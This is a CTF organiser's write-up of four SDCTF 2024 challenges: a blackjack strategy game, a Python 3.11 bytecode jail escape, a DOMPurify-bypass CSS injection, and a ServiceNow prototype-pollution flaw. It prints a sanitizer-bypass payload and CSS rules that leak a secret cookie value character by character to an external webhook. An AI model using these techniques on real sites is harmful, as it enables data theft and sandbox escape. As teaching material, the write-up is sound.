This weekend, ACM Cyber at UC San Diego hosted SDCTF 2024, an online CTF competition lasting 48 hours, where players around the world complete to solve challenges and capture flags in the categories: web, pwn, reverse engineering, cryptography, and misc. I was one of the authors for this CTF, and wrote 4 challenges in total. In this post, I will share notes on my explanations, ideas, and solutions for each of the challenges I wrote.
Misc
Blackjack (14 solves, 162 pts)
Description
GAMBA
Challenge
You are given an attachment blackjack.zip
. This file contains the necessary files to run a Docker container. Once running the entry, main.py
script, we are prompted with the following:
1 | [Dealer] Resetting shoe... |
We are given $30000 to start with and we can place bets to play blackjack. The main.py
file is as follows:
1 | import os |
From here we can see that if we can get our balance to exceed TOO_MUCH_MONEY
, we will be given the flag. The TOO_MUCH_MONEY
is defined in game.py
as 150000
. The Game
class is defined in game.py
and contains the logic for the blackjack game.
1 | TABLE_MINIMUM = 50 |
Notes
I hope people didn’t spend too much time trying to find a programming bug in the blackjack source code itself, since there was not intended to be one. The intended solution is a “vulnerability” in the game of Blackjack itself. While the game normally has a house edge, its possible to play in such a way that the player can start to even out those odds. This strategy is called “Basic Strategy” and is a set of rules that tells you the optimal best move to make in every situation. Its possible to go further using rules such as card counting and deviations, and this can start to give the player an edge over the house.
When developing the challenge, I found with only basic strategy, a bit of time, and some luck, it was possible to still achieve the target balance, so this was sufficient. This was more of a PPC challenge and I hope people enjoyed it.
Solve Script
1 | H, S, D, SP = 'hit', 'stand', 'double', 'split' |
References
- https://www.blackjackapprenticeship.com/blackjack-strategy-charts/
- https://en.wikipedia.org/wiki/Card_counting
my-favorite-code (1 solve, 500 pts)
Description
Hey. I’m looking for my friend Penguin, have you seen him?
Challenge
You are given an attachment my-favorite-code.zip
. This file contains jail.py
, and a Dockerfile for the remote setup.
The file first prompts the user to select their favorite python opcode. It then adds both the users selected opcode and COMPARE_OP
to a set called CHOICES
.
1 | CHOICES = set() |
Next, we are asked to provide some base64 encoded string.
1 | print("I wonder what we can do with these...") |
Finally, the code is run:
1 | if not run(code): |
Lets look a bit closer at this run method:
1 | def get_instructions(func): |
We unmarshal the bytes sent by the user. We then use dis.Bytecode
to get a set containing of all the OPCODES in the main procedure of the function. Finally, if this set is equal to our original choices, we run the code, by replacing the __code__
object of a dummy function to the inputted code object, and calling it.
Note furthermore, the docker container shows that we have a flag on the system, which implies that this challenge requires us to run arbitrary code and escape the jail.
Solution
What appears to be happening is that we need to somehow gain arbitrary code execution using only 2 OPCODES. But this seems impossible?! Expecially since we are forced to use COMPARE_OP
, which at face value doesn’t seem to do much. We can try picking an opcode like CALL, but we end up with issues since we still need to use LOAD_NAME or LOAD_GLOBAL to get function we want to call. If we use LOAD_NAME, then we can get objects on the stack, but we can’t really do much with it.
A key insight, which was provided and necessary to identify in the challenge files is the Python version of the server. In the Dockerfile, we can see the server is running python3.11
. Python3.11 adds some interesting features, but 1 subtle feature which it states in the release notes:
The bytecode now contains inline cache entries, which take the form of the newly-added CACHE instructions. Many opcodes expect to be followed by an exact number of caches, and instruct the interpreter to skip over them at runtime. Populated caches can look like arbitrary instructions, so great care should be taken when reading or modifying raw, adaptive bytecode containing quickened data.
Inline Cache?
Inline cache is an addition added via the following cpython issue. The idea is that certain OPCODES will be provided space that allows for the interpreter to cache certain values. This is done to speed up the interpreter, and is a form of optimization. The cache is stored in the bytecode directly, so does not require any overhead or change on the interpreter side. We can see this when we inspect certain functions using dis in python3.11
:
1 | Python 3.11.4 (main, Jun 7 2023, 12:45:48) [GCC 11.3.0] on linux |
With the show_caches
flag in any dis function, we can see the caches space for each operation. What this means at interest for us, is that when LOAD_GLOBAL instruction is executed, the interpreter will need to actually jump over the 5 cache entries. Interestingly, COMPARE_OP
is one such function which has 2 CACHE entries.
Note however, that if we call get_instructions
function as shown in the source code on this function:
1 | get_instructions(f) |
We don’t see those CACHE lines. With this, we have an idea of how to solve the challenge.
We want to design our bytecode in such a way that the only OPCODES visible to dis, are COMPARE_OP
, and something else. We can then use the CACHE entries to store the actual OPCODES we want to run. What will that something else be, JUMP_FORWARD
! This will give us the ability to jump into these CACHE entries, and execute the hidden OPCODES.
Solve Script
1 | import opcode |
Notes
This was hopefully a fun challenge to solve. I think the overall payload is not too long, but the main inspiration is realizing how to trick the disassembler in what is actually being run. Its interesting to see how the code is offset by the CACHE entries, and how we can use this to our advantage.
This challenge had one solve by Maple Bacon
, and used an additional trick, which was the fact that the code object could contain lambda functions, but these would not be checked by the disassembler. This allowed them to create a lambda function that would execute the hidden code object. However in order to call this lambda function, it was still necessary to use the CACHE jump trick. Very nice!
References
- https://docs.python.org/3.11/whatsnew/3.11.html#cpython-bytecode-changes
- https://github.com/python/cpython/issues/90997
Web
fancy_text_viewer (4 solves, 444 pts)
Description
WOW TEXT SO COOL. Take a look at how cool I made this text. I hear the admin gets special text, not fair!
Challenge
You are given source code and a route to a website called Fancy Text Viewer. Upon logging in, you are greeted with a simple page that allows you to enter text:
When entered, you are taken to /view
where you can see the text you entered in a fancy format.
The app.js
is the most important file in this challenge. We import the following dependencies:
1 | import express from 'express'; |
We then create the express app, and set up the cookie parser. We then define various routes:
1 | const app = express(); |
We also have an ejs template for index.ejs
, which is as follows:
1 |
|
We can further notice the bot.js file, which does the following:
1 | import puppeteer from "puppeteer"; |
Looking at the /login
route again more closely,
1 | app.get("/login", (req, res) => { |
We can see that the if a user successfully logs in with the correct ADMIN_PASSWORD
, they will be given the flag in a cookie. The admin bot that we see correctly knows this password, and will log in as the admin. The admin bot will then visit any page we give it. Its clear that we need to somehow get the flag by some means.
Solution
So there are a few initial observations that are helpful in this challenge. First overall there isn’t actually much you can control. The admin bot will have its username and flag cookie set on its own, but the only other input is the sharedby
param in the /
page. There is also a pretty suspicious sanitize
function which clearly very relevant to the challenge.
1 | function sanitize(str) { |
The sharedby
param that we pass will be filtered, then sanitized by DOMPurify.sanitize
. Note this means that the character set is 0-9, A-Z, dot, space, and some special characters between 0x3A and 0x40 (:;<=>?@
).
Additionally this parameter is not sanitized when it is passed to the index.ejs
file.
1 | <title> |
Second, note that even though the flag cookie is HTTPOnly, its actually present in the DOM. You can determine how it looks by simply setting your own flag cookie and seeing how the server renders the dialog, or noticing it in the index.ejs
file:
1 | <p>Oh? You seem to have a flag! You can view it <a href="view?content=<%- flag %>">here</a>!</p> |
With this, note that XSS is not necessary to solve this challenge, but a leak via CSS Injection is sufficient.
Which brings us to the main part of the challenge, how do you get CSS Injection? The main idea here is that the browser parses the <title>
a bit differently. Try this in a browser console:
1 | document.write("<head><title><title></title></head>") |
Notice if you inspect the HTML in the browser, the inner title
tag is actually automatically escaped.
1 | <title><title></title> |
The DOMPurify context of the sharedby
variable is different than the actual browser, and the DOMPurify sanitization context is not expected to be in this context.
It should be known that one thing that DOMPurify also does is Prevent Structural Damage:
The HTML string or document returned by DOMPurify is sane HTML and doesn’t miss closing tags or other bits that might ruin your website’s structure or even leak data. If you find a way to do that anyway, it’s a bug and we will fix it. Please let us know. (source)
What this means is that even though we can’t use /
in our sharedby
variable, maybe we can somehow get DOMPurify to “fix” structural damage in such a way that it generates the </title>
tag for us followed by a style
tag? Well we can try this out.
Fuzzing
You can do this by fuzzing locally. Here is a script that I used:
1 | const ejs = require('ejs'); |
Really quickly, we will start to get results of tags that find INJECT string outside the </title>
in the actual dom. (And if you try any of these as the sharedby
param on the actual site, you will also see this behavior).
1 | Payload: <table>INJECT<title>INJECT<filter>INJECT<progress>INJECT<textarea>INJECT<ol>INJECT<marquee>INJECT<colgroup>INJECT |
You can note here that the main issue that causes this behavior seems to be the <table>
tag. You can continue to modify this fuzz script to specify some explicit tags like table, style, and fuzz the rest.
Eventually, the payload I found that was:
1 | <TABLE><TH><SVG><STYLE>INJECT<TITLE><COL><TITLE> |
When this gets passed through DOMPurify, it becomes:
1 | <title></title><table><tbody><tr><th><svg><style>INJECT<title></title></style></svg></th></tr></tbody><colgroup><col></colgroup></table> |
And when its in a title context, note that the first closing title tag is before the <style>INJECT
, meaning the style will be outside the title tag and will apply to the overall document.
Exfiltration
But still, now how do we exfiltrate? For this, we can look back to the app.js
and notice a few convenient gadgets. These two inclusions are expecially interesting:
1 | app.use((req, res, next) => { |
The first seems to normalize all keys and make them lowercase. This seems like it could definately be useful, since our character set only allows uppercase characters.
The second is a redirect route, which will redirect to any url we give it. Note though that this redirect endpoint will actually add http://
to our url if it doesn’t already start with that. This might be interesting as well since we dont have a /
, but can use this so get a URL.
Hopefully these are hinting to the solution now, and we can put it all together. We don’t have that many characters to work with in our stylesheet, so we atleast need to import another one. Here is the final payload I used:
1 | <TABLE><TH><SVG><STYLE>@IMPORT URL(REDIRECT?URL=EO5VZGJXDJI72UU.M.PIPEDREAM.NET)<TITLE><COL><TITLE> |
This will import the stylesheet at EO5VZGJXDJI72UU.M.PIPEDREAM.NET
, a free webhook service.
This stylesheet can follow a standard CSS Leak pattern: We utilize a CSS selector on the a
tags’ href
attribute. If we have a match, we set the background to our webhook, with a parameter that identifies what letter triggered it. We can leak the flag one (or multiple) characters at a time using this procedure.
1 | a[href^="view\?content\=sdctf{a"] { background: url(https://eo5vzgjxdji72uu.m.pipedream.net?flag=sdctf{a); } |
References
- https://xsleaks.dev/docs/attacks/css-injection/
- https://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss
- https://new-blog.ch4n3.kr/bypassing-dompurify-possibilities/
- https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/
- https://mizu.re/post/intigriti-october-2023-xss-challenge
SNOWfall (1 solve, 500 pts)
Description
Flag is at https://dev258962.service-now.com/flag, thats it! Oh you might need a special role for it, but I hear its not too hard to request.
Challenge
We are given a link to a ServiceNow instance, and are told that the flag is at the /flag
endpoint. We are also told that we might need a special role for it, hinting that the /flag
endpoint is protected by some sort of role based access control. We are additionally given a zip
containing SNOWfall.xml
, which is an “Update Set”, similar to a patch
file that can be applied to a personal ServiceNow instance to recreate the challenge scenario.
Notes
This challenge is definately a bit different than most web challenges people are used to, even though the core vulnurability is an extremely well known javascript vulnerability that many CTF players are likely familiar with. The challenge runs on a ServiceNow instance, which is a cloud based platform that provides a variety of services, and is also used by UC San Diego themselves for internal document and case management. Since the challenge is a bit different, I will provide a brief overview of the ServiceNow platform, and how the challenge is setup, which hopefully gives a good perspective into what went into this challenge.
At its core, ServiceNow breaks everything down into tables. Everything in ServiceNow is a record in some table, whether it be a user in the sys_user
table, a catalog item in the sc_cat_item
table, or an ACL policy in the sys_security_acl_list
. If we look at the Customer Updates in the SNOWFall.xml
file, we can see these more clearly:
We can see the “Type” (table) as well as the Record Name for the update. What this update set added overall was the /flag
page, one Catalog Item called Flag Holder Application
, and an associated Workflow. From a better UI, the flag holder application looks like this:
We can also see the associated variables for this catalog item on the bottom when we scroll down:
One thing to see here is that there is a meta
variable thats hidden. This data is populated by an onSubmit
Catalog Client Script, which is a script that runs when the form is submitted. This script is as follows:
1 | function onSubmit() { |
Note here, that this code is run on the server. However note that even though this a hidden field, it is still being submitted from the client, so we can modify it.
Next to notice is the backend, which is the Flag Holder Application Workflow
.
There are two main issues here, First is in the “Validate Form Answers” If script:
1 | function ifScript() { |
At the top of the script, we call:
1 | var now = new global.ServiceNowObjectUtils(); |
This creates a ServiceNowObjectUtils
object, which is also present in the Update Set. This is known as a Script Include, which is a reusable script that can be called from other scripts. The ServiceNowObjectUtils
script include is as follows:
1 | var ServiceNowObjectUtils = Class.create(); |
Taking a look at this, one should note that this is a classic case of an unsafe recursive object merge. This is a common vulnerability in javascript, and is known as Prototype Pollution. The merge
function is recursive, and will merge objects together. However, if the object being merged has a prototype property, it will be copied over to the base object. This can be used to overwrite properties on the base object, and can be used to overwrite properties on the base {}
object.
The next issue is in the actual Administrator
script:
1 | var GlideRecordUtil = new global.GlideRecordUtil(); |
Its a very subtle issue, but if we look at the GlideRecord
documentation, we need to actually call gr.next()
first to get the first record queried. The subtle issue here is that in the first loop iteration, we are going to be referencing an empty object. We can use this to our advantage, combined with the prototype pollution vulnerability.
The solution here is to pass the following from the client as the “meta” variable.
1 | { |
Notes
This challenge ended up being much harder than expected, with only 1 solve. This was my mistake, I should have definately provided more information about the ServiceNow platform from the start as well are various references as to how to access records in the platform.
The one team who solved it, 000
, seemed to solve it in this general pattern as well, by starting off noticing the unsafe merge merge code in ServiceNowObjectUtils
, and then noticing that the populateFromGR
record was returning an empty object for the record. Its definately extremely extremely hard to solve this without setting up your own PDI, so I should have provided more information on how to do this as well.
But overall this was extremely impressive by 000
, and I had seen a few other challengers get extremely close as well.
Another thing that did trip some users who got this far up, is that the ServiceNow server is running on Rhino1.7R5. People who tried to do prototype pollution using __proto__
had quit early when it didn’t work, but this was due to this Javascript runtime not supporting __proto__
. There were people who were soooooo close, but got stuck here. I hope people learned alot though about this platform, and it was hopefully a good (maybe just interesting) change of pace :).
References
- https://developer.servicenow.com/dev.do#!/learn/learning-plans/utah/new_to_servicenow/app_store_learnv2_buildmyfirstapp_utah_personal_developer_instances
- https://docs.servicenow.com/bundle/utah-it-service-management/page/product/site-reliability-ops/task/sro-update-set-quick-start.html
- https://developer.servicenow.com/blog.do?p=/post/training-scriptsbg/
Conclusion
This was a fun CTF to organize, and I hope everyone enjoyed it. I know we had some issues in the beginning (ahem ahem rip infra), but I hope people enjoyed these challenges and thought they were unique / interesting. Thank you for playing and see you next time! :D